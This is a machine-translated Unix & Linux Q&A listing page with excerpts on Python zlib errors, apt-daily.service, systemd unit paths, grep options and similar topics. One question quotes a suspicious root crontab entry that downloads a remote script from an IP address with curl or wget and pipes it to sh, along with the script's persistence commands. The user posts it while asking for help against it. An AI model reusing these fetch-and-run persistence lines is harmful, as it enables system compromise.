Unix & Linux

Linux,FreeBSD和其他类似Un * x的操作系统用户的问答

6
zipimport.ZipImportError:无法解压缩数据;zlib不可用
在RHEL 6.6上,我从源代码安装了Python 3.5.1。我正在尝试通过get-pip.py安装pip3,但是我得到了 Traceback (most recent call last): File "get-pip.py", line 19177, in <module> main() File "get-pip.py", line 194, in main bootstrap(tmpdir=tmpdir) File "get-pip.py", line 82, in bootstrap import pip zipimport.ZipImportError: can't decompress data; zlib not available 它适用于已安装的Python 2.6.6。我已经在网上寻找答案,但是似乎找不到适合我的答案。 编辑: yum search zlib jzlib.i686 : JZlib re-implementation of zlib in …
59 rhel  python  pip  python3 

5
如何在Ubuntu云VM映像上禁用`apt-daily.service`?
Ubuntu 16.04服务器VM映像显然每12个小时左右启动一次“ apt-daily.service”。此服务执行各种与APT相关的任务,例如刷新可用软件包列表,在需要时执行无人值守升级等。 从虚拟机“快照”启动时,该服务会立即触发,因为(我想)systemd很快意识到计时器应该早就关闭了。 但是,正在运行的APT会apt锁定,因此会阻止其他进程运行/var/lib/dpkg。指示此错误消息如下所示: E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable) E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it? 在Ansible完成机器设置(通常涉及安装软件包)之前,我需要禁用此自动APT任务。有关更多信息和上下文,请参见https://github.com/gc3-uzh-ch/elasticluster/issues/304。 我尝试了各种选项,通过的“用户数据”脚本禁用“无人值守的升级”功能cloud-init,但是到目前为止,所有这些选项都失败了。 1.禁用系统任务 systemd任务apt-daily.service由触发apt-daily.timer。我试图通过以下命令的各种组合来禁用一个或另一个,或者两者都禁用。仍然apt-daily.service是VM准备好接受SSH连接之后的启动时刻:: #!/bin/bash systemctl stop apt-daily.timer systemctl disable apt-daily.timer systemctl mask apt-daily.service systemctl daemon-reload 2.禁用配置选项 APT::Periodic::Enable 脚本/usr/lib/apt/apt.systemd.daily读取一些APT配置变量。该设置APT::Periodic::Enable将完全禁用该功能(第331--337行)。我尝试使用以下脚本禁用它: …


3
我的systemd单位文件放在哪里?
我读到有两个单位文件文件夹(不在用户模式下)。 /usr/lib/systemd/system/: units provided by installed packages /etc/systemd/system/: units installed by the system administrator 与此答案相矛盾的是以下答案:https : //unix.stackexchange.com/a/47715/33386。有人可以填写缺少的信息,以便我了解发生了什么吗?(更新:答案已更新,我的理解不再与之冲突。) 另外,脚本似乎组织在该/etc/systemd/system/文件夹中的子文件夹中: getty.target.wants multi-user.target.wants 在另一个位置,我读到还有其他位置。看来这些是针对特定于用户的服务的。 /usr/lib/systemd/user/ where services provided by installed packages go. /etc/systemd/user/ where system-wide user services are placed by the system administrator. ~/.config/systemd/user/ where the user puts its own services. 更新2015-08-31: 为了其他人,这是我最近问过的一个相关问题的链接: …


2
取消突出显示“较少”中的最后一个搜索
在更少的时间内使用/向前搜索或?向后搜索时,文件的所有实例都会突出显示。找到要查找的单词的实例后,取消突出显示某些内容的最正确方法是什么? 目前,我只是按/然后将胡言乱语混入输入字段中。没有结果=没有亮点! 我正在寻找与vim :nohl功能类似的东西,而且花费更少。
59 search  less 



2
可疑的crontab条目每15分钟运行一次“ xribfa4”
我想在Raspberry Pi上的根crontab文件中添加一些内容,但发现一个对我来说似乎可疑的条目,在Google上搜索它的部分内容没有任何结果。 Crontab条目: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh 的内容http://103.219.112.66:8000/i.sh是: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root …
59 security  cron  malware 

1
GNU grep的-X选项的实际用途是什么,为什么没有说明呢?
通过阅读这个问题,我发现GNU grep有一个-X期望参数的选项。奇怪的是,手册页和信息页中都没有提到它。 查看源代码,在--help输出的中间有注释: /* -X is deliberately undocumented. */ 进一步看,似乎该-X matcher选项设置用于正则表达式引擎,matcher是一个 grep,egrep,fgrep,awk,gawk,posixawk和perl(截至2.25版本)。 一些这些值是严格相同的现有选项(即grep -G,grep -E,grep -F和grep -P)。另一方面,这三个awk变体没有相应的选项。 有人知道此选项的实际目的是什么,尤其是对于其中一个正则awk表达式引擎而言?有人可以告诉我为什么没有故意记录吗?
58 grep  options 

3
我刚刚将49GB目录“ mv”到错误的文件路径,是否可以恢复文件的原始状态?
我有一个(好吧,我有一个)目录: /media/admin/my_data 它的大小约为49GB,其中包含成千上万个文件。该目录是活动LUKS分区的安装点。 我想将目录重命名为: /media/admin/my_data_on_60GB_partition 当时我没有意识到,但是我从主目录发出了命令,所以我最终做了: ~% sudo mv /media/admin/my_data my_data_on_60GB_partition 因此,mv程序开始将/media/admin/my_data其内容移至新目录~/my_data_on_60GB_partition。 我使用Ctrl+ C来取消命令的整个过程,所以现在我有一堆文件分散在目录中: ~/my_data_on_60GB_partition <--- about 2GB worth files in here 和 /media/admin/my_data <---- about 47GB of orig files in here 新目录~/my_data_on_60GB_partition及其某些子目录由root拥有。 我假设mv程序必须首先以root用户身份复制文件,然后在传输之后将chown它们重新复制到我的用户帐户。 我的目录/分区备份有些旧。 我的问题是,是否可以可靠地还原一堆被移动的文件? 也就是说,我可以运行: sudo mv ~/my_data_on_60GB_partition/* /media/admin/my_data 还是我应该放弃尝试恢复,因为文件可能已损坏并部分完成等? 操作系统-Ubuntu 16.04 mv --version mv (GNU coreutils) 8.25

3
是的如何快速写入文件?
让我举个例子吧: $ timeout 1 yes "GNU" > file1 $ wc -l file1 11504640 file1 $ for ((sec0=`date +%S`;sec<=$(($sec0+5));sec=`date +%S`)); do echo "GNU" >> file2; done $ wc -l file2 1953 file2 在这里您可以看到该命令在一秒钟内yes写入了11504640行,而我只能1953使用bash for和在5秒内写入行echo。 正如评论中所建议的那样,有多种技巧可以使其更高效,但没有一个能与之匹敌的速度yes: $ ( while :; do echo "GNU" >> file3; done) & pid=$! ; sleep 1 ; …
58 bash  coreutils  write  yes 

4
外壳ksh93死了吗?
在2013年1月10日,Glenn Fowler将其发布到了ast-users邮件列表中: 正如在AST和UWIN列表中多次指出的那样,AT&T对OpenSouce软件的支持很少,这就是为什么我们只有很少的人参与我们庞大的AST软件集合。尽管如此,ksh,nmake,vczip,UWIN等AST工具会继续在多个AT&T的项目使用。 事实证明,并非只有软件缺乏支持:dgk (David Korn)(AT&T研究员,已有36年的服务)和gsf (Glenn Fowler)(AT&T研究员,已有29年的服务)已终止,自10月生效10.我们的第三大合作伙伴Phong Vo(AT&T研究员,已有32年的服务经验)几个月前离开Goog​​le。UWIN的维护者Jeff Fellin仍在AT&T工作,并为某些关键操作提供UWIN支持。 dgk和gsf都将继续在AST软件上运行,并且实际上可能有更多的时间(至少在短期内)专注于它。 下载站点和邮件组将至少在未来几个月内保留在AT&T中。我们的AT&T同事AST用户和错误检测器Dr.ek将维护该站点。我们已经保护astopen.org域,并正在研究非AT&T托管选项,包括带有错误跟踪的存储库。 变更过程需要时间。用户社区的耐心将不胜感激。在本质上稳定了近30年的环境中工作后,有3周的时间来计划个人,职业和黑客攻击的未来,实在令人震惊。计划巩固后,将通知用户组。 康恩(Korn)自己的维基百科页面上说,他曾在AT&T Labs Research工作到2013年……但是他现在正在为Google 所需的引文工作。一个dgkorn GitHub的用户帐户是在2014年11月创建的,但它一直自认为时间恰好为0公众捐款的来源,并订阅到尽可能多的回购。 自2013年以来,相关邮件列表的活跃度逐渐下降。例如,2013年第四季度ast-developers列表在 2013-12-01之前发布了156条消息,但是2015年第四季度的同一列表仅列出了三条消息,这是其中最后一条: 主题:回复:[ast-developers]将ast过渡到GitHub 是否打算将ast代码库转换为GitHub之类的源代码存储库?这将使社区更容易做出贡献。我担心如果没有这样的协作环境,与错误相关的开发将因错误报告和源代码补丁在以太中丢失而停滞不前。 是否有人可以在某个地方发布完整的git repo(repo.or.cz,github,等等)?Git服务器已经关闭了很长时间,现在甚至www2.research.att.com(204.178.8.28)都关闭了。 这使人们对Kornshell的未来感到惊讶。它死了吗?我们看不到更多的发布了吗? 而且,的确,尽管AT&T在其实验室研究目标网页上列出了所有AST链接,但这些链接似乎都不起作用。这些与kornshell.com上列出的相同死链接可供下载。即使当前服务器状态暂时只证明是临时的,干,的邮件列表似乎也不是一件好事。 因此,现在已将角壳放空了吗?还是在其他地方沿着这些路线有更多活动?

2
>&-是否比> / dev / null更有效?
昨天我读了这样的SO评论,它说在shell中(至少bash)>&-“具有与...相同的结果” >/dev/null。 该评论实际上是将ABS指南作为其信息来源。但是那个消息来源说>&-语法“关闭文件描述符”。 我不清楚关闭文件描述符并将其重定向到空设备这两个动作是否完全等效。所以我的问题是:是吗? 从表面上看,关闭描述符就像关闭一扇门,但是将其重定向到一个空设备则意味着陷入困境。这两个对我来说似乎并不完全相同,因为如果我看到一扇关闭的门,我不会尝试扔掉任何东西,但是如果我看到一扇敞开的门,我会假设我可以。 换句话说,我一直想知道是否>/dev/null意味着cat mybigfile >/dev/null将实际上处理文件的每个字节并将其写入/dev/null而忘记了它。另一方面,如果外壳遇到一个封闭的文件描述符,我倾向于认为(但不确定)它将根本不写任何内容,尽管问题仍然在于是否cat仍将读取每个字节。 这个评论说>&-和>/dev/null“ 应该 ”相同,但是对我来说却不是那么响亮的答案。我想有一个更权威的答案,参考或不参考标准或源核心。

1
单个命令即可登录SSH并运行程序?
有没有一种方法可以构造单个命令以通过SSH登录到远程服务器并在远程登录Shell上运行程序? 在OpenSSH手册中,其内容为:“如果指定了命令,那么它将在远程主机而不是登录shell上执行。” 因此,例如,ssh user@server mail将登录到远程服务器,显示邮箱状态,然后将您返回到本地外壳程序。显示邮件状态后,是否可以保留在远程外壳程序上? 此外,ssh user@server [command]如果命令是程序,例如vim或mutt ,则似乎不起作用。有没有一种方法可以登录到远程Shell并在运行过程中停留在远程Shell中并在退出程序之后运行程序,仅最终通过特定logout命令退出(就像在普通SSH会话中一样)? 我最终希望能够将这样的命令作为别名放入本地.bashrc中,以便可以在需要时快速运行。一个示例是通过SSH登录到远程服务器,然后在远程服务器上打开mutt以读取或发送电子邮件。
58 bash  shell  ssh  openssh 

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.